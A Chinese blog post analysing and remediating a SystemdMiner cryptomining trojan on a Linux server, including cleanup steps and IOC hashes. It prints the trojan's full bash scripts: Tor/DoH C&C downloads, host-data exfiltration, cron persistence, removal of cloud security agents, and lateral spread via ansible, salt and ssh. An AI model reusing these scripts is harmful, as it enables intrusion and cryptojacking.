<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    實戰|記錄一次挖礦木馬的分析與處置過程

    Ann2022-06-16 06:57:54

    SystemedMiner挖礦木馬分析處置

    登陸到受害主機去查看一下,查看下進程CPU使用率正常,并無挖礦跡象

    (要注意的是區分系統進程和木馬進程,因為很多木馬的進程都是以隨機字符名稱出現的,例如kswapd1kswapd0也比較類似,但是這兩個進程是系統進程,所以不要混淆,在刪進程前要先查詢一下其作用,其實如果挖礦進程在跑的話,很容易便會發現其進程PID和名稱)

    通常挖礦木馬都會去寫一個計劃任務,來防止挖礦進程被刪掉,這里看了一位大師傅的溯源分析,提到了cron在執行時,會讀取三個地方的配置文件:一是/etc/crontab,二是/etc/cron.d目錄下的所有文件,三是每個用戶的配置文件,所以挖礦木馬可能會有多個定時任務存在

    crontab -l


    ls /etc/cron.d/
    

    發現其文件名稱都包含uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0,直接匹配關鍵字也可以

    find / 2>/dev/null | grep uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0
    

    服務器中存在兩個定時任務,查看一下里面的內容兩個文件內容一致,且內容為base64編碼,先對其進行解碼處理,而且virustotal判斷為惡意文件

    分析一下:

    uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0
    exec &>/dev/null #不輸出出錯和輸出信息
    export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
    #獲取當前用戶的家目錄
    d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
    #獲取執行命令
    c=$(echo "curl -4fsSLkA- -m200")
    #C&C域名為fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.*
    t=$(echo "fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad")
    
    sockz() {
    n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi.doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux.fi dns.hostux.net dns.twnic.tw doh-fi.blahdns.com resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
    p=$(echo "dns-query?name=relay.tor2socks.in")#代理域名relay.tor2socks.in
    q=${n[$((RANDOM%${#n[@]}))]}
    s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' ''|grep -Ev [.]0|sort -uR|tail -1)
    }
    #在幾個目錄路徑里尋找一個有讀寫權限的路徑
    fexe() {
    for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
    }
    
    u() {
    sockz
    f=/int.$(uname -m)
    x=./$(date|md5sum|cut -f1 -d-) #用當前時間生成 md5 碼
    r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)#crontab計劃任務執行
    #下載病毒母體,隨機方式進行命名,通過socket5的方式用relay.tor2socks.in代理訪問C&C域名
    $c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r 
    #若代理失效,則可采用后面的方法
    #例如:curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.it/int.x86_64 -o  int.x86_64 -e183.134.110.75
    chmod +x $x;$x;rm -f $x#運行后刪除病毒文件
    }
    
    for h in tor2web.in tor2web.it
    do
    #檢查木馬是否存在,若不存在則調用fexe測試執行,接著調用u $t.$h 進行木馬文件的下載
    if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
    fexe;u $t.$h
    #再次查看進程狀態,若沒有繼續下載木馬
    ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
    ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
    else
    break
    fi
    done
    

    sockz()函數通過doh查詢IP,通過這種方法既可以提供加密保護dns查詢結果,又可以繞過各大廠商IDS里惡意域名的IOC

    https://doh.pub/dns-query?name=relay.tor2socks.in


    經過分析,這個樣本的執行的總體流程如下:

    1. doh解析域名獲取tor代理IP
    2. 查找目標主機可讀寫的路徑
    3. 通過tor代理在C&C服務器上下載與目標主機硬件版本相匹配的惡意文件
    4. 開啟crontab計劃任務并執行
    5. 根據pid文件返回腳本執行結果并進行判斷

    根據這個樣本的特征查了下資料,發現和SystemdMiner挖礦木馬比較類似,特點如下:

    • 訪問帶有tor2web、onion字符串的域名
    • 在/tmp目錄下有systemd*的文件
    • 還有就是中轉域名relay.tor2socks.in被微步判定為SystemdMiner挖礦僵尸網絡

    并且這個SystemdMiner是一個變種,除了更新了C&C域名,還使用了socks5代理的方式去訪問C&C域名從而實現繞過安全網關的目的,其余的特征與以往其他版本類似,通過上面的分析,知道該腳本會將內容寫入到/tmp/.X11-unix/文件夾,里面存放著的是進程PID

    通過PID找一下病毒文件位置

    ls -l /proc/{PID}/exe
    

    發現病毒文件已經都被刪除,查看一下00、01這些文件是什么時間創建的,可以對比一下其他機器的時間,找出最早的時間,方便后面的溯源

    看了許多師傅們分析的文章,.X11-unix文件夾下的文件作用如下:

    01文件守護進程pid11文件病毒運行進程pid22文件可能為SSH爆破進程pid

    查看一下01和11的進程狀態

    1.ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status
    2.ps -ef|grep 13485 
    3.lsof -p 13485
    

    01通過 lsof 判斷,沒有發現有外連或打開端口的現象

    再查看11的進程狀態,發現有外連

    但是較為奇怪的是,攻擊者只是上傳了一個守護進程,找不到下載的病毒文件,CPU也沒有異常,為了防止出現問題,還是先將定時任務以及進程先殺掉,接下來將病毒文件下載起來在虛擬機執行一下。

    虛擬機執行測試

    先按照守護進程下載病毒文件的方式,將病毒文件下載起來

    $ curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.it/int.x86_64 -o  int.x86_64 -e183.134.110.75
    


    執行一下該ELF文件,發現crotab定時任務增加了新的一項任務,且root目錄下生成了該任務所指向的新的腳本文件

    查看一下該腳本文件

    #!/bin/bash
    FBGJOndscVOU2PKZGWF8C6kibWnyHLP
    exec &>/dev/null
    export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
    
    d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
    c=$(echo "curl -4fsSLkA- -m200")
    t=$(echo "4t5ypbzi2kko7tqmk6y345ntpmctwj5jmu3cebxsnonsdljyyfs335ad")
    #C&C服務器域名前綴不同
    sockz() {
    n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi.doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux.fi dns.hostux.net dns.twnic.tw doh-fi.blahdns.com resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
    p=$(echo "dns-query?name=relay.tor2socks.in")
    q=${n[$((RANDOM%${#n[@]}))]}
    s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' ''|grep -Ev [.]0|sort -uR|tail -1)
    }
    
    fexe() {
    for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
    }
    
    u() {
    sockz
    f=/int.$(uname -m)
    x=./$(date|md5sum|cut -f1 -d-)
    r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
    $c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
    chmod +x $x;$x;rm -f $x
    }
    
    for h in tor2web.in tor2web.it
    do
    if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
    fexe;u $t.$h
    ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
    ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
    else
    break
    fi
    done
    

    這個腳本和之前服務器存在的那個守護進程腳本功能相同,但和上面服務器的那個腳本對比一下也會發現有兩處不同的地方:

    1. 新腳本文件的C&C服務器域名前綴與前面的不同
    2. 代碼前的字符串不同,之前服務器上的是uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0,而新的腳本文件中則是FBGJOndscVOU2PKZGWF8C6kibWnyHLP,與文件名相同

    對該字符串進行一次全局搜索

    find / 2>/dev/null | grep FBGJOndscVOU2PKZGWF8C6kibWnyHLP
    


    發現三個定時任務,查看了一下內容都一致,應該是作為備份文件以防其中某一個被刪

    查看了深信服千里目安全實驗室的文章和此類情況類似,可以從病毒母體ELF文件中逆向分析出5個不同的bash命令,若tor代理可用則可以使用下面的方法去下載出各個模塊

    curl -4fsSLkA -m200 -x socks5h://92.190.141.62:9050 4t5ypbzi2kko7tqmk6y345cebxsnonsdljyyfs335ad.onion/sshd ntpmctwj5jmu3cebxsnonsdljyyfs335ad.onion/sshd
    

    但由于目前還不會IDA逆向調試,而且tor代理IP拒絕連接(用|后面那種方法下載的文件的內容也都是下載SSH爆破腳本,如果繼續下載的話也是無法訪問),就先使用師傅扒出來源碼學習一下

    逆向分析后,可以發現有五個base64編碼,分別用于下載不同模塊和執行不同的功能,功能如下:

    • 本機持久化
    exec &>/dev/null
    export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
    
    d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
    
    x() {
    if ! ls $d/.systemd-private-*.sh; then
    grep "C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu" $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh || echo -e "#\x21/bin/bashexec &>/dev/nullecho C0PgFz2JHcpswVMOK7XSHQodDOrAWIKuecho QzBQZ0Z6MkpIY3Bzd1ZNT0s3WFNIUW9kRE9yQVdJS3UKZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDokSE9NRTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAid2FjcG5uc280b3R0eGx5dmpwMmFkYWllYWl2eHgyc2F4b3ltZWRuaWRwM3p5Zm9xZmM1anBxYWQiKQoKc29ja3ooKSB7Cm49KGRvaC50aGlzLndlYi5pZCBkb2gucG9zdC1mYWN0dW0udGsgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgcmVzb2x2ZXItZXUubGVsdXguZmkgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTExKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8Z3JlcCAtRXYgWy5dMHxzb3J0IC11UnxoZWFkIC1uIDEpCn0KCmZleGUoKSB7CmZvciBpIGluIC4gJEhPTUUgL3Vzci9iaW4gJGQgL3Zhci90bXAgO2RvIGVjaG8gZXhpdCA+ICRpL2kgJiYgY2htb2QgK3ggJGkvaSAmJiBjZCAkaSAmJiAuL2kgJiYgcm0gLWYgaSAmJiBicmVhaztkb25lCn0KCnUoKSB7CnNvY2t6CmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwLmFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXyQodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YXdrIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJhc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9yMndlYi5pdApkbwppZiAhIGxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXM7IHRoZW4KZmV4ZTt1ICR0LiRoCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC90bXA7dSAkdC4kaCkKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL2Rldi9zaG07dSAkdC4kaCkKZWxzZQpicmVhawpmaQpkb25lCg==|base64 -d|bash" > $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
    touch -r /bin/grep $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
    chmod +x $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
    fi
    if ! ls /opt/systemd-private-*.sh; then
    grep "C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu" /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh || echo -e "與上面內容相同|base64 -d|bash" > /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
    touch -r /bin/grep /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
    chmod +x /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
    fi
    if ! ls /etc/cron.d/0systemd-private-*; then
    grep C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu || echo "$(echo $((RANDOM%59))) * * * * root /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh > /dev/null 2>&1 &" > /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu
    touch -r /bin/grep /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu
    fi
    if ! crontab -l | grep ^[0-9] | grep systemd-private; then
    (echo "$(echo $((RANDOM%59))) * * * * $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh > /dev/null 2>&1 &";crontab -l|grep -v systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh)|crontab -
    fi
    }
    

    這段代碼便是創建定時任務,這段代碼共創建三個定時任務

    1. /etc/cron.d/0systemd-private-*
    2. /opt/systemd-private-*
    3. /root/systemd-private-*

    而其中的base64代碼的任務便是下載母體木馬int文件,和上面的守護進程內容一致

    • 競爭對手清理:這個腳本的主要作用便是清除服務器上其他的挖礦木馬,改寫hosts文件讓其他挖礦無法訪問對應的域名,但是經過查詢虛擬機的hosts文件,并沒有發現被修改(應該是兩種方法下載模塊和腳本都失效了,沒有下載對應的腳本和模塊)

    • 內網傳播
    exec &>/dev/null
    export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
    
    d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
    c=$(echo "curl -4fsSLkA- -m200")
    t=$(echo "5ixhieezozxwnvisopgxoba6ssbsrvdpxeduxb4jc6zx7s56rufrjzad")
    
    sockz() {
    n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
    p=$(echo "dns-query?name=relay.tor2socks.in")
    s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' ''|grep -Ev [.]0|sort -uR|head -n 1)
    }
    
    fexe() {
    for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
    }
    
    isys() { 
    #寫入定時任務,并且卸載assist-daemon(阿里云)、qcloud(騰訊云)的入侵檢測系統
    echo ZnVuY3Rpb24ga3VybCgpIHsKICByZWFkIHByb3RvIHNlcnZlciBwYXRoIDw8PCQoZWNobyAkezEvLy8vIH0pCiAgRE9DPS8ke3BhdGgvLyAvL30KICBIT1NUPSR7c2VydmVyLy86Kn0KICBQT1JUPSR7c2VydmVyLy8qOnKICBbWyB4IiR7SE9TVH0iID09IHgiJHtQT1JUfSIgXV0gJiYgUE9SVD04MAoKICBleGVjIDM8Pi9kZXYvdGNwLyR7SE9TVH0vJFBPUlQKICBlY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwogICh3aGlsZSByZWFkIGxpbmU7IGRvCiAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKICBkb25lICYmIGNhdCkgPCYzCiAgZXhlYyAzPiYtCn0KCnJtIC1mICRIT01FL3NzCmN1cmwgLVYgfHwgd2dldCAtcSBodHRwczovL2dpdGh1Yi5jb20vbW9wYXJpc3RoZWJlc3Qvc3RhdGljLWN1cmwvcmVsZWFzZXMvZG93bmxvYWQvdjcuNzUuMC9jdXJsLWFtZDY0IC1PICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApjdXJsIC1WIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvY3VybCA+ICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApzcyAtdiAgIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvc3MgICA+ICRIT01FL3NzO2NobW9kICt4ICRIT01FL3NzCnNzIC12ICAgfHwgY3VybCAtcyBodHRwOi8vMTM5LjU5LjE1MC43OjQ0My9zcyAtbyAkSE9NRS9zcztjaG1vZCAreCAkSE9NRS9zcwpwcyAgICAgIHx8IGN1cmwgLXMgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvcHMgLW8gJEhPTUUvcHM7Y2htb2QgK3ggJEhPTUUvcHMK|base64 -d|bash
    crontab -l || yum -y install cron
    crontab -l || yum -y install cronie
    crontab -l || apt-get update && apt-get -y install cron
    /usr/local/share/assist-daemon/assist_daemon --stop
    /usr/local/share/assist-daemon/assist_daemon --delete
    /usr/local/qcloud/monitor/barad/admin/uninstall.sh
    /usr/local/qcloud/stargate/admin/uninstall.sh
    /usr/local/qcloud/YunJing/uninst.sh
    /etc/init.d/aegis uninstall
    systemctl stop aliyun
    systemctl disable aliyun
    systemctl start cron
    systemctl enable cron
    systemctl start crond
    systemctl enable crond
    rm -rf /usr/loca/qcloud/ /usr/local/aegis/ /usr/local/share/assist-daemon/ /usr/local/share/aliyun-assist/ /usr/sbin/aliyun-service /usr/sbin/aliyun_installer /etc/systemd/system/aliyun.service
    }
    
    issh() {
    #利用自動化運維工具ansible、salt、pssh、knife寫入定時任務
    ansible all -m shell -a 'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash'
    knife ssh 'name:*' 'echo 與上面的base64編碼一致,都是守護進程|base64 -d|bash'
    salt '*' cmd.run 'echo 與上面的base64編碼一致,都是守護進程|base64 -d|bash'
    pssh 'echo 與上面的base64編碼一致,都是守護進程|base64 -d|bash'
    #從bash的歷史ssh記錄中嘗試去登錄遠程設備
    hosts=$(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |grep -v ^127.|awk -F: {'print $2'}|sort|uniq)
    for h in $hosts;do ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no -l root  $h 'echo 與上面的base64編碼一致,都是守護進程|base64 -d|bash';done for h in $hosts;do ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no -l $USER $h '與上面的base64編碼一致,都是守護進程|base64 -d|bash';done
    }
    
    ibot() {
    f=/bot 
    r=$(curl -4fsSLk ip.sb||wget -4qO- ip.sb||curl -4fsSLk checkip.amazonaws.com)_$(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0)
    $c -x socks5h://$s:9050 -e$r $t.onion$f || $c -e$r $1$f
    }
    
    iscn() {
    pkill -9 -f tracepath
    f=/trc 
    x=./$(date|md5sum|cut -f1 -d-)
    $c -x socks5h://$s:9050 $t.onion$f -o$x || $c $1$f -o$x
    chmod +x $x;$x;rm -f $x
    }
    
    sockz
    fexe
    isys
    issh &
    ibot $t.tor2web.in || ibot $t.tor2web.it
    iscn $t.tor2web.in || iscn $t.tor2web.it
    

    這個腳本的作用是先將阿里云和騰訊云的入侵檢測系統給卸載掉,然后再利用自動化運維工具寫入定時任務,最后就是下載兩個可執行文件,一個是bot,一個是trc,其中trc文件用于Hadoop Yarn未授權訪問漏洞利用(內網橫向移動)

    • 下載挖礦文件cpu

    病毒母體執行后會下載cpu腳本,以進行挖礦,手動下載一下試試看:

    curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in/cpu -o cpu -e183.134.110.75


    手動執行挖礦腳本的時候要先解除文件的鎖定chattr -i cpu,再賦權限運行

    但是在本地也沒有運行起來,缺失一些配置文件,可能是因為前面的模塊有的沒有下載導致。

    • 狀態控制
    exec &>/dev/null
    export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
    
    d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
    c=$(echo "curl -4fsSLkA- -m200")
    t=$(echo "i62hmnztfpzwrhjg34m6ruxem5oe36nulzmxcgbdbkiaceubprkta7ad")
    
    sockz() {
    n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
    p=$(echo "dns-query?name=relay.tor2socks.in")
    s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' ''|grep -Ev [.]0|sort -uR|head -n 1)
    }
    
    u() {
    sockz
    f=/cmd
    $c -x socks5h://$s:9050 $t.onion$f || $c $1$f
    }
    (
    u $t.tor
    

    病毒母體執行后會下載cmd腳本,用于當主機網絡無法連接到礦池時,會結束掉自身的挖礦進程,增強隱蔽性,但是tor代理失效,暫時無法下載

    curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in/cmd -o  cmd -e183.134.110.75
    

    如果用這種方法下載的話,很奇怪會得到下載ssh暴力破解的腳本,腳本內容也無法進行下載查看

    歸納梳理

    該木馬通過bash命令下載執行多個功能模塊,通過SSH暴力破解、SSH免密登錄利用、Hadoop Yarn未授權訪問漏洞和自動化運維工具內網擴散,且該木馬的文件下載均利用暗網代理,感染后會清除主機上的其他挖礦木馬,以達到資源獨占的目的

    通過看師傅們的博客和自己的測試,對目前這個SystemedMiner挖礦木馬也有了一定的了解,木馬執行后,會下載一系列的模塊和可執行腳本,用于持久化、內網橫向滲透、挖礦、命令控制、清除一些入侵檢測系統和其他挖礦程序,但需要使用tor代理,之所以服務器和虛擬機只有持久化的腳本(守護進程腳本),就是因為病毒母體啟動后,tor代理失效,無法下載其他模塊和腳本,也就只有一個守護進程腳本。

    處置方法

    在了解了SystemedMiner挖礦木馬感染機器的過程后,防護便一目了然了,它做的主機持久化控制便是通過寫定時任務,而定時任務是下載病毒母體并執行,就這樣循環來控制主機,所以要清除該病毒文件的話:

    1. 第一步便是要將定時任務刪除完,通過crontab -e移除/root/systemd-private-*,然后再刪除/etc/cron.d/0systemd-private-*/opt/systemd-private-*.sh文件
    2. 再去查看/tmp/.X11-unix/文件下0111獲取其PID,使用kill -9 進程id,殺死進程
    3. 更改文件夾權限,再不清楚攻擊者從哪里進來的時候,/tmp/.X11-unix/這個文件夾可以進行保留,防止黑客重新寫入,但要設置好權限,若服務器中運行了其他的一些模塊和腳本,殺相關進程和文件,重復上面的方法即可
    #chattr +i [file/directory]使file/directory無法被更動
    chattr +i /tmp/.X11-unix/01
    或
    chmod -R 000 /tmp/.X11-unix/01
    #查看文件夾權限
    ls -ld /tmp/.X11-unix/
    

    需要注意的一點是:

    這些文件夾其實是系統自帶的,主要作用是存儲臨時文件,只是該挖礦木馬利用了這個可讀可寫的權限,將內容放在里面,在進行清理和溯源的時候要注意區別。

    IOCS

    守護進程樣本hash:

    MD5 d61b3ba654ad546cc49d5ace7de0e309

    SHA-1 ca852b6b7f5e52a17661456ae37e0e6009c87ac3

    SHA-256 7de2aa89cb2f2edf06418ad39d6c516c25bb52a5d1bf62332b0892bc2fa1c3d4

    遠控樣本(int.x86_64)hash:

